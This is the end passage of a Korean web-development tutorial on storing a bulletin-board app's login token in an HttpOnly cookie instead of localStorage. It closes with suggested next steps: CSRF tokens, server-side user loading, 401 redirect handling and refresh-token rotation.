→ 정리 안 해도 동작은 합니다 — 새 코드가 더 이상 그걸 안 읽으니까요. 깔끔하게 비우려면 개발자도구 → Application → Local Storage → 키들을 삭제.
더 해 볼 만한 것들
- CSRF 토큰: SameSite=Lax 가 대부분의 CSRF 를 막아 주지만, 더 엄격하게 가려면 form 마다 CSRF 토큰을 따로 발급하는 패턴이 있습니다.
- 서버 컴포넌트에서 user 읽기: 지금은 모든 페이지가 클라이언트에서
fetchCurrentUser()를 부릅니다. 헤더만 깜박이는 게 거슬리면, 레이아웃을 서버 컴포넌트로 만들고getUserFromCookies()로 SSR 시점에 user 를 미리 채울 수 있어요. 그럼 첫 페인트부터 로그인 상태가 보입니다. - 토큰 만료 처리: 외부 API 가 401 을 돌려주면 우리 라우트도 401 을 그대로 돌려줍니다. 클라이언트에서 401 을 잡아 자동으로
/login으로 보내는 인터셉터를 만들면 사용자 경험이 좋아집니다. refresh token로테이션: 진짜 운영 서비스에서는 짧은 access token + 긴 refresh token 두 단계로 운영합니다. 우리 교육용 API 는 single token 만 주지만, 컨셉은 알아 두세요.
수고하셨어요. 이제 우리 게시판은 토큰을 JavaScript 가 절대 볼 수 없는 구조가 됐습니다 🍪

댓글
댓글을 작성하려면 이 필요합니다.